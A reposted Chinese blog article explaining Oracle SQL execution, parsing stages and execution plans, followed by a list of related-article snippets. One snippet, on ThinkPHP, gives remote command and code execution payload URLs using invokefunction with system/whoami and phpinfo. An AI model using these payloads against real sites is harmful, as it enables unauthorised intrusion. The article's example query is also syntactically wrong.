图文深入理解SQL语句的执行过程

news2024/12/29 8:16:38
  1. List item

    本文将深入介绍SQL语句的执行过程。
    一.在RDBMS(关系型DB)中,看似很简单的一条已写入DB内存的SQL语句执行过程却非常复杂,也就是说,你执行了一条诸如select count(*) where id = 001 from table_name的非常简单的语句,执行过程可能快的让你察觉不到耗时,但是就是这样一条简单的SQL语句,RDBMS在后台却为我们做了很多工作:过程如下两图所示
    在这里插入图片描述
    在这里插入图片描述
    二。在Oracle DB中,执行一条已经写入DB内存的SQL的流程如下两图(网图,谢过)所示:
    在这里插入图片描述
    在这里插入图片描述
    ‌①,将SQL语句加载入数据库缓冲区‌:首先,SQL语句被加载到数据库的缓冲区中,这是为了提高数据访问的速度和效率。
    ②,将SQL语句要操作的数据文件副本加载入数据库缓冲区‌:接下来,将要被操作的数据文件的副本也被加载到数据库缓冲区中,以便进行后续的修改操作。
    ‌③,执行SQL语句,修改数据文件副本,形成“脏缓冲区”‌:SQL语句被执行,对数据文件副本进行修改,这些被修改的数据文件副本被称为“脏缓冲区”,因为它们还未被写入到原始的数据文件中。
    ‌④,CKPT检测到“脏缓冲区”,调用DBWn‌:CKPT(Checkpoint)进程检测到“脏缓冲区”后,会调用DBWn(Database Writer)进程。
    ⑤,在DBWn运行之前,先运行LGWR,将数据文件的原始状态和数据库的改变记录到Redo Log Files‌:在DBWn运行之前,LGWR(Log Writer)进程先将数据文件的原始状态和数据库的改变记录到Redo Log Files中,这是为了确保在系统崩溃时能够恢复数据。
    ‌⑥,运行DBWn,将“脏缓冲区的内容写入到数据文件”‌:DBWn进程将“脏缓冲区”的内容写入到原始的数据文件中,完成数据的持久化存储。
    ‌⑦,同时CKPT修改控制文件和数据文件头‌:CKPT进程同时修改控制文件和数据文件头,以确保数据库的一致性和完整性。
    ⑧,SMON回收不必要的空闲资源‌:最后,SMON(System Monitor)进程回收不必要的空闲资源,以优化数据库的性能和效率。
    ⑨,如有符合的结果,则返回给users.

三.SQL执行过程中的几个重要阶段:
1.SQL解析阶段,主要介绍硬解析、软解析和软软解析
硬解析(Hard Parse)
当数据库接收到一条新的 SQL 语句时,如果该语句之前从未被执行过,数据库需要进行硬解析。硬解析的过程较为复杂和耗时,主要包括以下步骤:
1.语法分析:检查 SQL 语句的语法是否正确,确保关键字、表名、列名等的使用符合 SQL 规范。
2.语义检查:验证语句中涉及的对象(如表、视图、列等)是否存在,数据类型是否匹配,以及用户是否具有执行该语句的权限。
3.查询优化:数据库根据各种因素(如表的大小、索引的存在、数据的分布等)确定执行该 SQL 语句的最佳执行计划。这是一个复杂的过程,可能需要尝试多种执行方案并评估其成本。
4.生成执行代码:根据选定的执行计划,数据库生成可执行的代码。
硬解析需要消耗较多的数据库资源,尤其是 CPU 和内存。频繁的硬解析会严重影响数据库的性能。
软解析(Soft Parse)
如果数据库接收到一条 SQL 语句,并且该语句之前已经被执行过,并且在共享池中可以找到完全匹配的执行计划,那么数据库可以进行软解析。软解析的过程相对简单,主要包括以下步骤:
1.语法检查:快速检查 SQL 语句的语法是否正确。
2.确认执行计划:在共享池中查找与该 SQL 语句完全匹配的执行计划,并确认其仍然有效。如果执行3.计划可用,数据库可以直接使用它,无需进行查询优化。
软解析比硬解析快得多,因为它避免了查询优化的过程。软解析可以提高数据库的性能,特别是对于频繁执行的 SQL 语句。
软软解析(Soft Soft Parse)
软软解析也称为 “超快软解析” 或 “无锁软软解析”,是一种比软解析更高效的解析方式。在某些情况下,数据库可以在不获取任何锁的情况下进行软软解析,进一步减少了解析的开销。
软软解析通常发生在以下情况:
1.共享池中已经存在与当前 SQL 语句完全匹配的执行计划,并且该执行计划没有被其他会话修改或删除。
2.数据库可以直接使用该执行计划,无需进行任何额外的检查或锁定。软软解析的速度非常快,可以极大地提高数据库的性能,特别是在高并发环境下。
为了减少硬解析的次数,提高数据库性能,可以采取以下措施:
1.使用绑定变量:绑定变量可以使不同的 SQL 语句在共享池中共享执行计划,减少硬解析的发生。
2.优化 SQL 语句:确保 SQL 语句的编写高效、简洁,避免复杂的查询和不必要的操作。
3.调整数据库参数:合理调整数据库的参数,如共享池大小、游标共享等,以优化解析过程。

2.执行计划阶段做什么?
SQL 执行计划是数据库为执行特定 SQL 语句而选择的一系列步骤的描述。它详细说明了数据库将如何访问数据、进行连接操作、应用条件筛选等,以返回查询结果或执行数据修改操作。
执行计划的组成部分
1.操作步骤
执行计划由一系列操作组成,每个操作代表数据库执行的一个具体任务。常见的操作包括:
表扫描(Table Scan):数据库读取表中的数据行。可以是全表扫描(Full Table Scan),即读取表中的所有行,或者索引扫描(Index Scan),通过索引快速定位特定的行。
索引查找(Index Lookup):使用索引来查找满足条件的行。可以是唯一索引查找(Unique Index Lookup)或范围索引查找(Range Index Lookup)等。
连接操作(Join):将多个表中的数据行根据连接条件进行合并。常见的连接方式有嵌套循环连接(Nested Loops Join)、哈希连接(Hash Join)和排序合并连接(Sort Merge Join)等。
排序操作(Sort):对数据进行排序,例如在使用 ORDER BY 子句时。
聚合操作(Aggregation):执行聚合函数,如 SUM、AVG、COUNT 等。
2.操作顺序
执行计划中的操作按照特定的顺序执行。数据库根据查询的需求和数据的分布情况选择最佳的操作顺序,以最小化执行时间和资源消耗。例如,在连接操作中,数据库会选择合适的连接顺序,以减少中间结果集的大小。
3.操作成本
每个操作都有一个相关的成本估计。成本通常以数据库内部的单位(如 I/O 操作次数、CPU 时间等)来衡量。数据库在生成执行计划时,会尝试选择总成本最低的方案。成本估计基于数据库的统计信息,包括表的大小、索引的选择性、数据的分布等。
执行计划的生成过程
1.语法分析和语义检查
当数据库接收到 SQL 语句时,首先进行语法分析和语义检查,确保语句的正确性和合法性。
2.查询优化
数据库的查询优化器根据 SQL 语句和数据库的统计信息,生成多个可能的执行计划。优化器会考虑各种因素,如表的大小、索引的存在、数据的分布、连接方式等,以选择最优的执行计划。
3.成本评估
对于每个生成的执行计划,优化器会进行成本评估。成本评估基于数据库的统计信息和内部的成本模型。优化器会选择成本最低的执行计划作为最终的执行方案。
4.执行计划生成
一旦确定了最优的执行计划,数据库会生成相应的执行代码,并准备执行 SQL 语句。
查看执行计划的方法
1.EXPLAIN PLAN 语句
可以使用 EXPLAIN PLAN FOR 语句来查看 SQL 语句的执行计划。该语句会将执行计划存储在数据库的一个特定表中,可以通过查询该表来获取执行计划的详细信息。
2.SQL Developer 等工具
Oracle SQL Developer 等数据库开发工具提供了图形化的界面,可以方便地查看 SQL 语句的执行计划。这些工具通常会以树状图或表格的形式展示执行计划的各个步骤,以及相关的成本信息和统计数据。
了解 SQL 执行计划对于优化数据库性能非常重要。通过分析执行计划,可以确定 SQL 语句的执行效率,找出潜在的性能瓶颈,并采取相应的优化措施,如创建合适的索引、调整查询语句、优化数据库参数等。

码字不易,宝贵经验分享不易,请各位支持原创,转载注明出处,多多关注作者,后续不定期分享DB基本知识和排障案例及经验、性能调优等。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158262.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Transformers基础入门篇4】基础组件之Model

文章目录 一、Model简介1.1 Transformer1.2 注意力机制1.3 模型类型 二、Model Head2.1 什么是 Model Head2.2 Transformers中的Model Head 三、Model基本使用方法3.0 模型下载-浏览器下载3.1 模型加载与保存3.2 配置加载参数3.3 加载config文件3.2 模型调用3.2.1 带ModelHead的…

【PAM】Linux登录认证限制

PAM(Pluggable Authentication Modules,可插拔认证模块)是一种灵活的认证框架,用于在 Linux 和其他类 Unix 系统上管理用户的身份验证。PAM 允许系统管理员通过配置不同的认证模块来定制应用程序和服务的认证方式,而不…

软件设计师:01计算机组成与结构

文章目录 一、校验码1.奇偶校验码2.海明码3.循环冗余检验码 二、原码反码补码移码三、浮点数表示法1.浮点数相加时 四、寻址方式五、CPU1.访问速度2.cpu的组成 六、RISC和CISC&#xff08;<font color red>只用记住不同就可以&#xff09;七、冗余技术1.结构冗余2.信息冗…

HyperWorks的实体几何创建与六面体网格剖分

创建和编辑实体几何 在 HyperMesh 有限元前处理环境中&#xff0c;有许多操作是针对“实体几何”的&#xff0c;例如创建六面体网格。在创建实体网格的工作中&#xff0c;我们既可以使用闭合曲面创建实体网格&#xff0c;也可以使用完整的实体几何创建实体网格。与闭合曲面相比…

【rabbitmq-server】安装使用介绍

在 1050a 系统下安装 rabbitmq-server 服务以及基本配置;【注】:改方案用于A版统信服务器操作系统 文章目录 功能概述功能介绍一、安装软件包二、启动服务三、验证四、基本配置功能概述 RabbitMQ 是AMQP的实现,高性能的企业消息的新标准。RabbitMQ服务器是一个强大和可扩展…

截取递增数-第15届蓝桥省赛Scratch中级组真题第6题

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第191讲。 如果想持续关注Scratch蓝桥真题解读&#xff0c;可以点击《Scratch蓝桥杯历年真题》并订阅合集&#xff0c;…

【c数据结构】OJ练习篇 帮你更深层次理解链表!(相交链表、相交链表、环形链表、环形链表之寻找环形入口点、判断链表是否是回文结构、 随机链表的复制)

目录 一. 相交链表 二. 环形链表 三. 环形链表之寻找环形入口点 四. 判断链表是否是回文结构 五. 随机链表的复制 一. 相交链表 最简单粗暴的思路&#xff0c;遍历两个链表&#xff0c;分别寻找是否有相同的对应的结点。 我们对两个链表的每个对应的节点进行判断比较&…

力扣 209.长度最小的子数组

一、长度最小的子数组 二、解题思路 采用滑动窗口的思路&#xff0c;详细见代码。 三、代码 class Solution {public int minSubArrayLen(int target, int[] nums) {int n nums.length, left 0, right 0, sum 0;int ans n 1; for (right 0; right < n; right ) { …

数通。。。

通信&#xff1a;需要介质才能通信电话离信号塔&#xff08;基站&#xff09;越远&#xff0c;信号越弱。信号在基站之间传递。你离路由器越远&#xff0c;信号越差。一个意思 比如想传一张图片&#xff0c;这张图片就是数据载荷 网关&#xff0c;分割两个网络。路由器可以是网…

Chat2VIS: Generating Data Visualizations via Natural Language

Chat2VIS:通过使用ChatGPT, Codex和GPT-3大型语言模型的自然语言生成数据可视化 梅西大学数学与计算科学学院&#xff0c;新西兰奥克兰 IEEE Access 1 Abstract 数据可视化领域一直致力于设计直接从自然语言文本生成可视化的解决方案。自然语言接口 (NLI) 的研究为这些技术的…

巴黎嫩事件对数据信息安全的影响及必要措施

2024年9月17日&#xff0c;黎巴嫩首都贝鲁特发生了多起小型无线电通信设备爆炸事件&#xff0c;导致伊朗驻黎巴嫩大使受轻伤。这一事件不仅引发了对安全的广泛关注&#xff0c;也对数据信息安全提出了新的挑战。 王工 18913263502 对数据信息安全的影响&#xff1a; 数据泄露风…

MySQL慢查询优化指南

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 前言 当遇到慢查询问题时&#xff0c;不仅影响服务效率&#xff0c;还可能成为系统瓶颈。作为一位软件工程师&#xff0c;掌握MySQL慢查询优化技巧至关重要。今天&#xff0c;我们就来一场“数据库加速之旅…

Thinkphp(TP)

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…

Java面向对象——内部类(成员内部类、静态内部类、局部内部类、匿名内部类,完整详解附有代码+案例)

文章目录 内部类17.1概述17.2成员内部类17.2.1 获取成员内部类对象17.2.2 成员内部类内存图 17.3静态内部类17.4局部内部类17.5匿名内部类17.5.1概述 内部类 17.1概述 写在一个类里面的类叫内部类,即 在一个类的里面再定义一个类。 如&#xff0c;A类的里面的定义B类&#x…

微信支付商户号注册流程

目录 一、官方指引二、申请规则三、申请流程1.提交资料2.签约协议3.绑定场景 四、微信支付商户登录入口 一、官方指引 https://kf.qq.com/faq/210423UrIRB7210423by6fQn.html 二、申请规则 1、微信支付商家仅面向企业、个体工商户、政府及事业单位、民办非企业、社会团体、基…

java sdk下载,解决下载了java但是编译不了

直接搜Java得到的网站使用不了的 应该只是个功能包或者版本太低用不了 得去oracle公司搜java这个产品去下载

Java语言程序设计基础篇_编程练习题**18.34 (游戏:八皇后问题)

目录 题目&#xff1a;**18.34 (游戏:八皇后问题) 代码示例 代码解析 输出结果 使用文件 题目&#xff1a;**18.34 (游戏:八皇后问题) 八皇后问题是要找到一个解决方案&#xff0c;将一个皇后棋子放到棋盘上的每行中&#xff0c;并且两个皇后棋子之间不能相互攻击。编写个…

Llama 3.1 技术研究报告-2

3.3 基础设施、扩展性和效率 我们描述了⽀持Llama 3 405B⼤规模预训练的硬件和基础设施&#xff0c;并讨论了⼏项优化措施&#xff0c;这些措施提⾼了训练效率。 3.3.1 训练基础设施 Llama 1和2模型在Meta的AI研究超级集群&#xff08;Lee和Sengupta&#xff0c;2022&#x…

模型融合创新性Max!5种模型融合方法刷新SOTA!发顶会必看!

近年来&#xff0c;关于模型融合的研究逐渐火热&#xff0c;出现了很多效果出众的成果。模型融合&#xff08;Model Merging&#xff09;技术&#xff0c;即利用现有模型的参数、架构和特性&#xff0c;巧妙结合成一个新的、功能更强大的模型&#xff0c;这不仅减少了从头训练大…

计算机毕业设计新闻资讯知识施肥技术网站推荐评论搜索猜你喜欢留言/springboot/javaWEB/J2EE/MYSQL数据库/vue前后分离小程序

摘要‌ 随着互联网的快速发展&#xff0c;新闻网站成为人们获取新闻资讯的重要途径。本文旨在介绍一款新闻网站毕业设计的开发与实现过程&#xff0c;该系统集新闻发布、用户互动、个性化推荐等功能于一体&#xff0c;采用Spring Boot、Vue等前后端分离技术&#xff0c;旨在提…